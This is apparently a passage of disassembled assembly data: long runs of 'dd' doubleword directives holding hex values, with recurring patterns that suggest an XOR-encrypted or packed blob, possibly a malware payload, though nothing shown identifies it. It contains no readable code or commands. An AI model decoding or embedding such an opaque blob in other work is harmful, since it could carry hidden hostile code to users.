		dd 369E3625h, 36D1E706h, 52156611h, 0B3D3EDEEh,	0AD996082h
		dd 8A45071Ah, 7DCF34AEh, 745368A5h, 47AB6322h, 0CF303CE8h
		dd 656F0E35h, 524CEC37h, 6DED6734h, 9A4C930Fh, 6AD3EFA1h
		dd 32156961h, 2A50C244h, 1DCE19FAh, 0A33371B4h,	71501700h
		dd 3214E94Bh, 39E06622h, 129069E7h, 52156688h, 3211E84Bh
		dd 8B736622h, 0FA95DA50h, 73FC0735h, 52EA99AEh,	5475A0A9h
		dd 0C99EA79Ah, 62EC07E9h, 0B33152CFh, 321562E6h, 3A966911h
		dd 3D156688h, 321564C7h, 0BB740622h, 1E379FA4h,	8BE0068Eh
		dd 5E497E83h, 1BA0EF43h, 52134A1Ch, 0B8D4EDEEh,	0B2E907A2h
		dd 0B71A8F1Ch, 321566E5h, 3363997Dh, 73314AC5h,	6D411C04h
		dd 675DC43h, 0F3572994h, 0C55764A6h, 0F4D7E7F8h, 33858CE6h
		dd 21FC3C5Fh, 83156644h, 78B2696h, 51416175h, 0AA7F9F48h
		dd 63BB3C2Dh, 8946159Dh, 47EB0954h, 334EB989h, 77FAE7B3h
		dd 5260984Dh, 321FE11Eh, 37FC6688h, 0D7156644h,	0D11A7B98h
		dd 5BC00E70h, 69C6688h,	3EFC3D60h, 9E156622h, 0B9172DCCh
		dd 0C5600EE9h, 609EB7E4h, 32556698h, 4DD6E711h,	337AF89Ch
		dd 4DFEE797h, 687AF836h, 0CBA85DE8h, 3D134AAAh,	321525C6h
		dd 27956922h, 3D156611h, 32156907h, 321F8F44h, 0C3F16622h
		dd 92FF5E4Ah, 3CE0E882h, 0B41A9D7Fh, 3215661Ah,	320CEF1Eh
		dd 26FC6688h, 64156644h, 90ED265Ch, 857F88BDh, 804BEACEh
		dd 4F51193Fh, 0CA9D18ECh, 0CDFC71F8h, 54750677h, 6CC9A7C5h
		dd 3215E22Dh, 54746611h, 5347DC33h, 2DC4DBCFh, 0B21A600Eh
		dd 3215661Dh, 3213E087h, 0BB1A6644h, 32156622h,	2DE4E3D6h
		dd 321560A4h, 0B61A6644h, 32156635h, 321574F8h,	0B6086788h
		dd 64D75FF6h, 8A806179h, 9010C8D7h, 52A7917Fh, 32156FADh
		dd 0B0A4F222h, 9C5808A6h, 879CD1CAh, 34396B6Dh,	3218EB2Dh
		dd 3D756611h, 3215660Fh, 0EA940044h, 0BF7491E0h, 624D68Ch
		dd 37FC068Eh, 0A9156644h, 0DC2B0244h, 321575F9h, 3439BD88h
		dd 0F9512B18h, 0F00E1C1Ah, 28AD5E1h, 0D39EE4F5h, 6DA894C4h
		dd 52C69943h, 0F21E07EDh, 325EE287h, 3CFC6644h,	0B7156622h
		dd 9640A555h, 0FA51B36h, 25C0532Dh, 32C28FB4h, 22FC6611h
		dd 0A156688h, 5FC29A8Eh, 58F98B0Bh, 0A1C15BACh,	3D1AF7FFh
		dd 32157EC3h, 32068F22h, 0BDBF6611h, 159C866Fh,	0BA6F7970h
		dd 3CBDE5B2h, 297BDB64h, 5D88EBDEh, 0DB1357E7h,	32156629h
		dd 0FAF8EB8Eh, 0E7D037FCh, 0DB4EE0A3h, 32156625h, 0F99417FDh
		dd 0CD903E4Fh, 5966997h, 52EA99DDh, 0A364DAAh, 0B9749EC5h
		dd 1E184FF1h, 34FC0624h, 7D156611h, 0B499C8E7h,	0C1A269A6h
		dd 33956943h, 0CE156611h, 2DE4D301h, 0B9756068h, 309169DAh
		dd 52156611h, 547507E9h, 0B2CC5EFAh, 0BF7475CFh, 0A5978Ch
		dd 2997698Eh, 3D156644h, 321573ABh, 32058F11h, 0B1F06688h
		dd 0F0EB0CEBh, 12999617h, 0BC3E12DBh, 0E1EADD8Ch, 0D9940024h
		dd 0B11A2962h, 32156615h, 0E731DFEEh, 0CB90ED25h, 0CB134A00h
		dd 3F3CE398h, 0BB1A60A4h, 32156643h, 3214E72Dh,	53EC6611h
		dd 3219E187h, 0B61A6644h, 32156624h, 3215E91Eh,	34FC6688h
		dd 0C1156644h, 0BFBFF235h, 0DA2BE65Bh, 32A8E387h, 0B1ED6644h
		dd 1E131F9Fh, 0B61A6617h, 32156627h, 321568ADh,	0F3D53D22h
		dd 0BD21F1BDh, 34530749h, 542ECB02h, 61FCD773h,	0CA9DA999h
		dd 0C74C00D3h, 0F59E06EEh, 0C4AA6974h, 6743074Fh, 953E535h
		dd 16795761h, 74D3B26h,	172E2092h, 35FD4B74h, 5E3820F1h
		dd 1B644425h, 357963E9h, 0DA1017AAh, 5253D343h,	0FEAA2E94h
		dd 531AD221h, 32110EDFh, 1B4A6644h, 0DB7539DAh,	32156617h
		dd 91B53F4Ch, 99748B01h, 32156CCBh, 0C2F88311h,	0E2CAC25Ch
		dd 521184FFh, 0CF6EE598h, 321E8E6Ch, 0EB7E6688h, 2B06EBh
		dd 616EF04Fh, 6BC6EC86h, 309A8FE9h, 0BB1A6644h,	32156625h
		dd 3214EE1Eh, 0BFED6688h, 60220D9h, 239B6924h, 0DB156611h
		dd 32156684h, 0D68D990Ch, 956AF2C8h, 7974CA5Ah,	0BF1AB577h
		dd 3215665Ah, 320DE02Dh, 21FC6611h, 23156688h, 3C38BBC2h
		dd 457C142h, 972E1BEh, 61CA7B42h, 0AF9861FFh, 34214A06h
		dd 321FE71Eh, 3D756688h, 0B373BCF3h, 53EA6BC1h,	3EFCB5EEh
		dd 0BF156688h, 9FB4A941h, 2502AFEh, 391133B2h, 7A906948h
		dd 3D156644h, 321571A2h, 32078F11h, 86576688h, 0B022FB1Fh
		dd 0C228672Fh, 59C1D315h, 2E72F45Fh, 32156FADh,	833A8122h
		dd 0BF89333Ah, 6CFC6314h, 52156644h, 32156CCAh,	52FDCB11h
		dd 977BF979h, 64688B64h, 8C733F7Ah, 0B174E9FDh,	1E184F0Dh
		dd 63756342h, 0AC54BEA3h, 3D4B1CBDh, 32157107h,	32078F44h
		dd 1B1F6622h, 3371D9BDh, 3CAE0ABEh, 2082CC62h, 218D02DAh
		dd 0CC5E8F70h, 3CFC9977h, 88156644h, 5D0A692Bh,	0E543F0AFh
		dd 737E385Fh, 4D88EBD0h, 0CE13520Ch, 38FCB5EEh,	0D7156688h
		dd 0A0615509h, 2AE6894h, 3DD56D08h, 3215720Dh, 0F5950644h
		dd 3199697Bh, 3D156611h
		dd 0DB74B53Fh, 32156602h, 36AD36DEh, 0B3156611h, 7A15F14Ah
		dd 0B3D76719h, 7A15F1C8h, 0DB753E4Ch, 32156687h, 0A5E5C0F2h
		dd 9EB3BC3Ah, 0D1D60C63h, 532C5C5Fh, 32147AADh,	32058F22h
		dd 86D96611h, 18E698F5h, 0F2ACC767h, 0B610A6DDh, 0AF98DD4Bh
		dd 3424C5E7h, 3DC699BDh, 32155FA1h, 75A00611h, 5274AC03h
		dd 0CE5888C4h, 1BA0ED43h, 3D134A1Ch, 3215710Eh,	23916944h
		dd 0DB156622h, 3215661Dh, 3F197BB1h, 0D0D2A39Fh, 0C1E86FFAh
		dd 323E9BF8h, 0B9730688h, 0BF9E079Bh, 34396B0Bh, 321560F8h
		dd 0A97F1C88h, 0BB963144h, 1E184F97h, 33956917h, 0CB156688h
		dd 9D2A7C5h, 0C33C60F4h, 7715DD42h, 0D1D44C2Bh,	0BFEE741h
		dd 1B58F446h, 0B31A3DC8h, 32156686h, 32946924h,	0B3156622h
		dd 4175F8C0h, 0C54407BDh, 3E9E4258h, 36D1E706h,	3D156611h
		dd 3215700Fh, 0B3730644h, 0DB367BCCh, 3215661Bh, 0B4FD45EBh
		dd 4E382D72h, 63743233h, 1F64EBA8h, 0B3C491C2h,	0E5081D85h
		dd 0B6D4E710h, 0B3224067h, 0B00BD361h, 6BDB4F92h, 0F494A80Bh
		dd 7B5B65ADh, 32157761h, 9E6CCB44h, 2A64234Dh, 6C0ADE75h
		dd 228F8D2Bh, 96E69516h, 3214E02Dh, 0DBEC6611h,	0CDEA9A31h
		dd 0F888EBBDh, 52135490h, 545A8891h, 0CD74BF03h, 0D9950697h
		dd 94E5E71Dh, 537ECF1Dh, 1639E7DFh, 3AFE27BDh, 1A8337Ah
		dd 0B346C618h, 81420D7Dh, 0C7E0E751h, 776F1340h, 3AF0A754h
		dd 0DCEC9309h, 0DA140893h, 26FC067Fh, 0C8156611h, 92CA52EFh
		dd 0A62C6AADh, 0EE86EDA6h, 3443D16Bh, 5402305Eh, 534C55FEh
		dd 2DC4E309h, 5475603Dh, 53973C33h, 3DC2ED24h, 321565A5h
		dd 0F2C6E611h, 3390EFE9h, 52134A41h, 0F278D844h, 72D09490h
		dd 0CB7427E6h, 2DC4E3CFh, 21FC600Eh, 73156611h,	62495D09h
		dd 5165720Bh, 0F895295Eh, 0B0A290C5h, 3B7D5405h, 0BB156669h
		dd 0DA75421Eh, 32156619h, 127CE8BEh, 23B6EA85h,	0F89E3CDEh
		dd 16F30E70h, 369C6688h, 0BF989A60h, 3427D2D6h,	0CBC499E4h
		dd 33B8E303h, 0BC1A6068h, 32156623h, 3A9D69EDh,	3D156688h
		dd 321564CDh, 60740622h, 0F0948498h, 3215668Ch,	0B5118CC7h
		dd 0BB494236h, 67E94215h, 0F7948301h, 32156640h, 0B5118BA1h
		dd 0BB49423Dh, 3AFC42B4h, 53156644h, 0AE9DB052h, 0B99B7727h
		dd 1E0AB70Dh, 0B3730642h, 0C70475D4h, 0D49C3070h, 3211A009h
		dd 0DC966644h, 1621E126h, 1611EF4Dh, 32156861h,	0C7F73444h
		dd 134C51E8h, 0A7995554h, 0BFF7E977h, 0A340C9h,	0B71A9F24h
		dd 32156633h, 32018EE8h, 853F6644h, 5423CDA4h, 0FBACEE78h
		dd 6FF4C2BEh, 354F6E59h, 0B34EE198h, 16FAA3DAh,	0E3EA07ECh
		dd 3214E74Bh, 5AED6622h, 32153DE1h, 68316201h, 32156FADh
		dd 1855A622h, 229C45C3h, 3D7545E3h, 53E997FBh, 0BBD3EF74h
		dd 1621EDE0h, 3211A209h, 3AFC6644h, 1D156622h, 9FDE116Ch
		dd 1968D5A6h, 1E14CBC9h, 0B2ED0624h, 0B1743FC3h, 1E1E4735h
		dd 0B61A6642h, 32156659h, 53CBED71h, 22D8E303h,	19E96068h
		dd 1E1E47A7h, 61E90617h, 3215E487h, 534B6644h, 0BD23D842h
		dd 0C39E3725h, 3DD45DE9h, 321528C2h, 0B79E9322h, 34396A98h
		dd 0F8AA69E8h, 68740614h, 13906543h, 3D134A1Ah,	32156A0Ah
		dd 0B3730644h, 891A1BF3h, 717D0156h, 4B90EFE9h,	0DB134A41h
		dd 32156632h, 76D701E9h, 2215189Eh, 0AADB89DCh,	93434E6Fh
		dd 3214F8F8h, 0C09E0688h, 0B1ED07BCh, 3E9C62CEh, 0B3449F35h
		dd 0D4742A4h, 369E6F6Ah, 36D1E706h, 37156611h, 3B3B59DAh
		dd 3203E44Bh, 23FC6622h, 0CB156611h, 4E743176h,	3B610601h
		dd 0D1D77253h, 0C7C0A5D5h, 0CDEADBDDh, 0DA1499BBh, 54E0067Fh
		dd 0E0238090h, 36F9E5E9h, 8B316ACDh, 321569DDh,	524CAE18h
		dd 3DDDD187h, 5274A1F3h, 32018F42h, 35666611h, 8DD21E35h
		dd 0A3523EEDh, 0B5A9D59Dh, 3A9033FBh, 0F3952F5Ah, 22FC0750h
		dd 90156622h, 1768C3ACh, 0EA1C2B83h, 0ECA0692h,	530DB062h
		dd 0CDEAD847h, 0C23C9977h, 321F8F1Ah, 0D9B46622h, 0F8CC2A81h
		dd 816134CBh, 22D8E3CDh, 22FC600Eh, 2156611h, 1D4418C1h
		dd 941EEEBFh, 3C157A51h, 33939D0Ch, 1E30D30Dh, 0B7D29F42h
		dd 34396D03h, 32156611h, 32156E61h, 28B78044h, 7DC0DB30h
		dd 0CB550C52h, 320566E0h, 0C7AF0644h, 54109BD9h, 5274B69Ah
		dd 0DE960774h, 1619EF40h, 3206E02Dh, 3CFC6611h,	75156688h
		dd 3A39631Ch, 0C0765851h, 0E8C7AD47h, 0DB150CE0h, 32156641h
		dd 940E38A5h, 538099D2h, 0CB134AADh, 32156CADh,	0A2459122h
		dd 9EFE1B2Ah, 0CD789E09h, 1E063BD1h, 0B79C9A24h, 34396A98h
		dd 4B90EF7Dh, 0DB134A41h, 3215662Ah, 0DD79ACD9h, 486D6C7Ah
		dd 321575ADh, 33E2BA22h, 155218D6h, 0A7B696DAh,	38B05E68h
		dd 0BD9F1C33h, 60316A9Ah, 0F0948401h, 32156640h, 3211A4A3h
		dd 26926611h, 0B91A3AACh, 32156643h, 3214E32Dh,	0CDE96611h
		dd 1E101F3Dh, 3A976942h, 52156622h, 88730771h, 0CD7426F2h
		dd 1E14CBF1h, 0B9730624h, 5302D6DBh, 32156861h,	0A9339744h
		dd 9D9A84FEh, 83795257h, 5A5966E2h, 321531DCh, 0C7315AABh
		dd 2DC4D3EEh, 0BE1A60A4h, 32156654h, 32156DCBh,	70D9BF11h
		dd 0BFE7FE15h, 0A3C7C666h, 0FC0DE3AFh, 0B2756023h, 0B973A554h
		dd 0E2EA078Ch, 32156CCBh, 3B7B9D11h, 7DD4D333h,	33E7FFBBh
		dd 1E1E47AFh, 0BB1A9E17h, 32156689h, 4BA8EDB8h,	3D134A27h
		dd 32156597h, 53EC0688h, 33B8D3CFh, 39FC600Eh, 0B156611h
		dd 0DB8221A6h, 88536B9Dh, 96E6CF52h, 3A0EDE8h, 52134AAEh
		dd 321568ACh, 4231CE22h, 0FD7D2DC2h, 0C5CFCDC2h, 521572DBh
		dd 0B3733843h, 53B039CAh, 8E7D9E25h, 0BB15661Fh, 6B7D422Eh
		dd 6B37C630h, 0ECB2A709h, 7C9CBB1Bh, 22FC3FDEh,	2D156611h
		dd 2E2C22C3h, 1C78FC82h, 6B1B6251h, 0F3F2FFABh,	54756348h
		dd 0CAD885C5h, 3215EB2Dh, 0B3746611h, 32156264h, 1609EF44h
		dd 102E1E99h, 69CD6773h, 0FF906574h, 3D134A64h,	32157BADh
		dd 259F6911h, 0DB156688h, 32156656h, 7D6641FCh,	4414AE0h
		dd 0E9F141F1h, 6F5FA16h, 0BF9EDAB4h, 34396368h,	54D30E74h
		dd 3E9C6644h, 1639E706h, 441660E5h, 32946607h, 441660B0h
		dd 349F6942h, 0B3156611h, 0D6F58166h, 532BD434h, 0F59E068Fh
		dd 53749F71h, 11590EDAh, 0B34F00EFh, 3F2A7DC8h,	3FFE70Ah
		dd 0BB5EFB6Ch, 269E9A12h, 36D1E506h, 321DE51Eh,	0B01A6688h
		dd 32156646h, 879C0742h, 34394020h, 321BEB87h, 3BFC6644h
		dd 38156622h, 0D627D99Bh, 3B034F8Ch, 3DEA9EC7h,	3215E5A7h
		dd 0C949311h, 0EFC8BB55h, 3263E34Bh, 80756622h,	321B8F23h
		dd 387E6688h, 3C1653A3h, 0E18E1DBCh, 2406D5D5h,	24AA31E9h
		dd 0B363D165h, 0D44D16CDh, 0B3C29161h, 0B32A9067h, 0D6AF341Ah
		dd 0B3003277h, 944BE7FBh, 68C257F1h, 524A58CDh,	6BE5ED74h
		dd 0C5D4E777h, 8A4507E1h, 32156640h, 369EA023h,	36D1E535h
		dd 5B1DD8E8h, 0C1942F75h, 1CA28749h, 3A0EF70h, 52134AAEh
		dd 0DB74B5CEh, 0CDEAB404h, 53D4ED71h, 0CB16A649h, 12D8E347h
		dd 0B1E9600Eh, 1E11EBACh, 0B61A678Eh, 321564B7h, 3214ED2Dh
		dd 0B3EC6611h, 98BFCCB6h, 449069EEh, 0CB156622h, 0E0949371h
		dd 63985688h, 36F9E725h, 0BB156622h, 36A8423Dh,	33156688h
		dd 0F5E93BAAh, 351D9A64h, 74946A84h, 0D84FF074h, 0CE53E553h
		dd 0CE53E7DDh, 0E995F872h
		dd 321EE487h, 34FC6644h, 0D9156622h, 0F17044E1h, 3ED578Ch
		dd 0DBED5783h, 32156629h, 3DFE70BAh, 0DAED3069h, 63335A41h
		dd 5BA5E697h, 0DA15C93Dh, 0CA4CC98Ch, 32154CADh, 3EA70622h
		dd 0E2A8DE77h, 6A4236E9h, 0B1315ACFh, 0B27562E6h, 0B97334D1h
		dd 0DE96075Eh, 1609EF40h, 0EA9D8E91h, 65A7064Ah, 5A743338h
		dd 321505D4h, 3D3162ABh, 32156397h, 8D1A0688h, 8F9607B2h
		dd 34394727h, 6E916910h, 0DB156689h, 32156649h,	0F11A9B8Fh
		dd 1CA5BA7h, 0ECC5DA06h, 0C07D3778h, 0B9162C03h, 0F694421Dh
		dd 3215668Ch, 474897C5h, 0DB9414C8h, 5A2579EDh,	80E4E7C1h
		dd 0BB1C1671h, 0BF1A3FEAh, 3215660Fh, 320DE487h, 21FC6644h
		dd 0C8156622h, 0A423FDE1h, 510A5516h, 44934E99h, 20A58A51h
		dd 8F9658DAh, 3426C88Ah, 0F916944h, 0DB156622h,	3215661Eh
		dd 65516FE9h, 65ACB893h, 40D8B550h, 0CBAA05F0h,	0D1F8FB05h
		dd 0CDEC6076h, 2B9669F1h, 3D156611h, 32157508h,	321B8F44h
		dd 0EB66622h, 63B3235h,	8EC5ACBCh, 0C9665576h, 3D8559A2h
		dd 32155195h, 321A8F88h, 9D816644h, 5AE713D7h, 51DA31FDh
		dd 0AE1BB7C5h, 1D550E98h, 3E9C6622h, 3210DF35h,	0FD146688h
		dd 359D691Dh, 3D156622h, 32156791h, 76FC9388h, 0CA156645h
		dd 3D459EA1h, 32150893h, 0EB7D9E88h, 0BB156661h, 19A0422Eh
		dd 0C795BBE7h, 9BE0E664h, 0CA4C8ECCh, 23FD0688h, 0CA156611h
		dd 426D2676h, 0B2EE0183h, 328740E4h, 388274F5h,	3215E087h
		dd 854C6644h, 6EA0772h,	0F6943E35h, 3215668Ch, 0B275CCBCh
		dd 3CFDC7FFh, 88156611h, 0D0009E51h, 0C768138Ah, 0AE79B799h
		dd 32108FEBh, 0B576688h, 69ACC876h, 32878F43h, 0CDE06611h
		dd 0B14D42BCh, 98EC6280h, 321569CBh, 6C4F5F11h,	0FDA59978h
		dd 0DE877C66h, 2D394403h, 0DBEA1991h, 327FE387h, 3FFC6644h
		dd 15156622h, 0CDBF78DCh, 0DE69F402h, 0C02E892Fh, 9C17DBA1h
		dd 3D156022h, 3215500Ch, 359B6944h, 3D156622h, 3215679Ch
		dd 0AF989A88h, 342784C9h, 3219E62Dh, 0B11A6611h, 3215668Eh
		dd 3215E84Bh, 0E1EA6622h, 32156CF8h, 59DF9788h,	77A112F9h
		dd 63FCAECAh, 0BAD7EE43h, 7D9D3C59h, 37FC3F40h,	21156622h
		dd 0AD88156Ch, 376CE303h, 64EC6068h, 163289Ch, 6CE54F2Bh
		dd 7C109EA1h, 0DB2F5532h, 32156629h, 30AB7DDh, 8A4FCD42h
		dd 67A92A41h, 3215629Fh, 0B9FD4F11h, 0F69442A4h, 32156640h
		dd 9FEDCDD7h, 3214EF1Eh, 65EC6688h, 0E71F25FBh,	0DD94293Bh
		dd 2BC06C53h, 0B9E91801h, 0F6964278h, 0ED9E0626h, 0CE3D8F70h
		dd 23FC9977h, 2E156644h, 98909949h, 0AEF6FCE5h,	6EA320Bh
		dd 80D27393h, 4DFBE742h, 5424B520h, 53D96637h, 1424D3CDh
		dd 5475600Eh, 0CECCEBAEh, 22920EE9h, 269C6644h,	2B9E6906h
		dd 0DB156611h, 3215669Ch, 0FFAF53E8h, 0E6AD45D1h, 85130F3Dh
		dd 0C3B7611Ah, 8A89ECEDh, 3295664Ah, 32058F11h,	0ED2A6688h
		dd 0C6DBB581h, 0A6038C7Ch, 2CC004CAh, 327FAF6Ah, 321563ADh
		dd 0CD89B922h, 87EAE79Dh, 34396615h, 321572ADh,	0E46B1222h
		dd 0C83F0EFh, 0E50437A0h, 5CDC66Ch, 0B591675h, 47809945h
		dd 52134A94h, 94D490C5h, 39FC5691h, 17156611h, 0B314CF0Eh
		dd 494E4CBFh, 0B974C584h, 0BB444205h, 36D4E769h, 0B1156644h
		dd 3E9262E3h, 0B21A3A35h, 3215668Fh, 3214E74Bh,	0B9EC6622h
		dd 1E362F9Ch, 32198F8Eh, 650A6644h, 889AA1AAh, 63202B6Eh
		dd 8946DA1Ch, 32156644h, 31D2AD23h, 32156611h, 0B3317A03h
		dd 32156280h, 0B31A0622h, 32156612h, 0DADED987h, 3215664Bh
		dd 4C3CBADAh, 2C067D20h, 522817D8h, 81DCE3B8h, 5A743822h
		dd 3215553Eh, 8A316201h, 32156640h, 0CA4DA723h,	115CEB98h
		dd 547560A4h, 3DCEE9FBh, 0DB749795h, 0CDEAA3CCh, 32156961h
		dd 0D8A01C44h, 0D5EEFA99h, 0D3B63A4Dh, 0DE120AAAh, 323EFBADh
		dd 0CE759A22h, 115CEB9Ah, 3D7560A4h, 321563C3h,	0D3940022h
		dd 0EC95589Ah, 627507FEh, 62743EB1h, 3215669Ah,	0F6C4B11h
		dd 0FA1445DBh, 61281F41h, 6A1DED01h, 321568F8h,	23598E88h
		dd 511F7900h, 8596CBFCh, 3D9A5FF8h, 32156A01h, 32128F44h
		dd 0E7076622h, 4456689Fh, 0CC98EF9Eh, 3D1355E9h, 32156AAEh
		dd 34916911h, 3D156688h, 321566C5h, 7C2DE722h, 3D592245h
		dd 3215A20Dh, 3CFD0644h, 6A156622h, 7F6DF5F6h, 87858C80h
		dd 60E1044Ch, 6A74068Dh, 3214E31Eh, 53E06688h, 366DE722h
		dd 0B71A486Eh, 32156688h, 320FE487h, 0B11A6644h, 32156636h
		dd 321569F8h, 10465E88h, 0ABC6F8F2h, 0F584194Ch, 0ED566DFh
		dd 1621EDD8h, 3211A2C5h, 0B81A6622h, 32156600h,	32156A61h
		dd 797FEC44h, 9A852103h, 70149EE4h, 8A453508h, 324B686Bh
		dd 844C672Fh, 1A382E22h, 0BB2698D7h, 0EC143E87h, 0B41A0679h
		dd 32156614h, 8B069836h, 31996928h, 0B2156622h,	0B9746ADBh
		dd 1E3C7B0Dh, 339E6942h, 0CA156622h, 32119DF8h,	32068F88h
		dd 0E8C16644h, 3DA606F8h, 39025608h, 0AEEFD45Fh, 719D254Ch
		dd 0B345332Ah, 79974215h, 0B3484F2Eh, 945EE4A9h, 6FFBEF0Bh
		dd 321563F8h, 706B2E88h, 0DE962A23h, 1611EF26h,	0FB24934Bh
		dd 0EE0CA70h, 4F916944h, 0DB156623h, 32156601h,	0C97D51DBh
		dd 0B7E22667h, 4DD8E830h, 8B01E0F7h, 0B61A4BB4h, 0CDEA999Dh
		dd 3219E22Dh, 0B81A6611h, 3215668Eh, 3215EA4Bh,	1C296622h
		dd 32C4E21Eh, 0BD1A6688h, 3215665Fh, 321A8F42h,	0A5236611h
		dd 7ACEEC86h, 0C3E9AAB7h, 0CC409BC1h, 0C494008Ah, 0E74CB88h
		dd 19976974h, 0DB156627h, 32156617h, 34455BA9h,	0B2947FCh
		dd 0CD96E02Dh, 0EE099EEh, 3D9769C9h, 52156641h,	31FAE744h
		dd 309569B2h, 0B9156688h, 682907BEh, 0CD76E02Dh, 3EFC99EEh
		dd 0CD156688h, 0EE082FC5h, 0C026457Eh, 0ED31E97h, 789169D7h
		dd 3DEA99BBh, 321567ADh, 53299311h, 36C5E487h, 0B41A6644h
		dd 32156639h, 3200E31Eh, 22FC6688h, 0BD156644h,	5CA59EECh
		dd 0DB5E7421h, 3749D8FDh, 0ECD027Ch, 20936958h,	3DEA99EEh
		dd 3215670Fh, 3EFC9344h, 6B156622h, 5E719A20h, 5F2EC649h
		dd 0DBE08941h, 321562A8h, 54EFED71h, 63749103h,	321567FDh
		dd 6BDF6722h, 321AEC1Eh, 38FC6688h, 61156644h, 6EE1F28Bh
		dd 9D2E4CCAh, 3DE75FFAh, 32113BC0h, 8A459F22h, 0CDEA99EEh
		dd 0DB4DA489h, 3215664Fh, 10253838h, 917A5C34h,	62379342h
		dd 321567FCh, 6AD46722h, 3211E31Eh, 81756688h, 0A4FC07C1h
		dd 3DEA99DCh, 3215719Ch, 32078F88h, 1A2E6644h, 46109606h
		dd 90703D4Dh, 1EAEBC1Fh, 91A03A2h, 0B61AAFA7h, 32156217h
		dd 3212E287h, 61756644h, 0CC9E007Dh, 0E7A0EB70h, 52134A98h
		dd 54EFED22h, 1BC6A9A3h, 6943470h, 631EFAACh, 1619ED49h
		dd 3211A2A3h, 0C3946611h, 3F446D14h, 33986924h,	0C7156622h
		dd 26FC07E4h, 0F9156688h, 0D00137F1h, 7D34E5F5h, 3242E14Eh
		dd 0F7203FBBh, 60F587F5h, 5F314AA3h, 0B9125D69h, 0F69642B4h
		dd 5FD2E740h, 52125D5Ah, 3214E11Eh, 3DE06688h, 321564C7h
		dd 53740622h, 0BA89D043h, 0FAEB3C78h, 0F0390D70h, 321EEB2Dh
		dd 34FC6611h, 46156688h, 5215482Ch, 0CF60C87Bh,	32156FF8h
		dd 78F82188h, 0B2062305h, 38FC90CCh, 2D156611h,	0A09A496Dh
		dd 2FF9C84Bh, 3C9F6963h, 0DB156611h, 32156681h,	0C5C0F306h
		dd 0D5F6F522h, 0F3D4E7E5h
		dd 0B3589E9Ch, 9D519A85h, 0B3EC4F65h, 9D519AF8h, 0F3FCE7CFh
		dd 0DB589E50h, 32156629h, 0A6E63E0h, 92725082h,	0B1799125h
		dd 0E3E299E3h, 41AC37EDh, 1B7733A3h, 0FD3C3F8Bh, 1966A1A3h
		dd 3FFC0444h, 43156688h, 0C15924D1h, 47663332h,	0C3F49691h
		dd 0B94A30DFh, 0F6964270h, 321D8F26h, 0C1896611h, 5A8E74E8h
		dd 96E69EBBh, 0CBA037D7h, 6173ABEFh, 0CF156E3Fh, 5D9D3D22h
		dd 0BFE93FDDh, 1E05B384h, 359D698Eh, 3D156644h,	321567A1h
		dd 0B79E9311h, 343978DDh, 3DD5E3B8h, 321517A7h,	33916911h
		dd 0C7156688h, 13B8E382h, 3D52600Eh, 32157894h,	2A906988h
		dd 0DB156644h, 32156631h, 23BF3680h, 0E6A53812h, 810DD0A0h
		dd 61642805h, 5AF06734h, 0E68FC15Ah, 5370D324h,	0FA099D7h
		dd 52134A16h, 133AD9EEh, 0BFE007BDh, 1D936AA7h,	32058F17h
		dd 0F5466688h, 7FB64ED4h, 0B07483B3h, 0EA966696h, 0CDED8C88h
		dd 31956994h, 52156622h, 3F7D07E8h, 0BB1566B8h,	61754250h
		dd 0FF01DE44h, 0E2EA074Bh, 851A30E8h, 37FD3CB2h, 29156622h
		dd 27960DA1h, 69239308h, 2F9B6925h, 3D156622h, 32157199h
		dd 32078F88h, 0EFE6644h, 7CA6970Eh, 9A77834h, 0D18D72DFh
		dd 0CC494F5Eh, 0B71AA6A7h, 321566EDh, 3219EB87h, 0BA1A6644h
		dd 32156624h, 3215E51Eh, 21FC6688h, 54156644h, 0E1AF9D53h
		dd 0F624D7E4h, 6F8BFE61h, 29D0B160h, 0B79E5C65h, 34394014h
		dd 321A8F70h, 0B1A16644h, 0F0B9B04Eh, 28C4C79Ah, 13F39667h
		dd 3DD5E390h, 321517A7h, 0B7D39F11h, 34394725h,	0FB940608h
		dd 1F10FA0Ah, 0F01934AEh, 0DB7D0794h, 52CCBC58h, 0A3F6E642h
		dd 3215EE1Eh, 0B3746688h, 28F9FB8Eh, 87EA0750h,	3439612Ch
		dd 321DE787h, 0C7756644h, 0D24BA59Bh, 0B798074Eh, 343AE084h
		dd 321576ADh, 0A150A722h, 73921FC7h, 43E73290h,	92822EEBh
		dd 52C59913h, 3217E41Eh, 0F89E6688h, 0B3730625h, 827102C1h
		dd 0BB4607EEh, 36D6E76Bh, 0B3156644h, 321562C9h, 1609E111h
		dd 1601EFD4h, 3212E94Bh, 0B81A6622h, 32156610h,	3DC59971h
		dd 321567C1h, 0F2909E22h, 321FE31Eh, 83756688h,	0E9FC072Ch
		dd 0CA156622h, 9FEBE398h, 0B61A60BBh, 3215664Fh, 0B4F3E642h
		dd 3215E91Eh, 0B1746688h, 369C62A8h, 32058F06h,	69B06611h
		dd 8B0BDCC4h, 0F144AC53h, 0A88B39F2h, 817DA0C4h, 0BB1566F0h
		dd 0B11A4270h, 3215662Ah, 3217E61Eh, 53756688h,	321576ADh
		dd 3FCFDF22h, 706D24D8h, 6E14A19h, 780F8C4Eh, 8790EB2Ah
		dd 0DB134966h, 3215669Ch, 6D180EEDh, 313BDB97h,	0B65CC68h
		dd 30EF2678h, 98605BE0h, 23FCB6DDh, 92156611h, 0C55B73A4h
		dd 750712F7h, 28D092A9h, 361DA16Ah, 0B71AA683h,	32156663h
		dd 8ACADE42h, 0DB43025Ch, 32156686h, 8C4A5615h,	347DDAA4h
		dd 59A57D91h, 534A730Bh, 32157BADh, 4CA60622h, 0BB74A79Ah
		dd 3D0942CCh, 32156ACFh, 349F6922h, 3D156611h, 32156606h
		dd 52749F44h, 0AFE4E742h, 3D6186CFh, 32156607h,	0DB750744h
		dd 32156633h, 0ED5BABC6h, 418DA2D2h, 677FB28Ah,	3B7A127h
		dd 534D3506h, 0DB75A5E9h, 3215664Ch, 0CFDCB805h, 0D819C222h
		dd 53D6EDEEh, 0BF9E9324h, 3426CBDCh, 339D69E8h,	0CA156688h
		dd 325ED12Ch, 1611EF22h, 6D2C0EE8h, 3E9C6688h, 1621E760h
		dd 0F496ACEh, 3EF95349h, 61E05BD4h, 32155AFFh, 15FEE722h
		dd 330A0D60h, 15D6E74Bh, 310A0D35h, 0B71A3D21h,	32156609h
		dd 32157561h, 588AAB44h, 20CD73ACh, 0AB290072h,	7E327789h
		dd 481AD8E2h, 329DD6DDh, 269E6611h, 36D1E5ACh, 0F80EFBCh
		dd 0DB134A00h, 32156605h, 1EC49D4Eh, 0C9D6A470h, 0A6963A1Eh
		dd 0AF001347h, 0F11F1909h, 64CBD812h, 0B35B0E9Eh, 516C57DFh
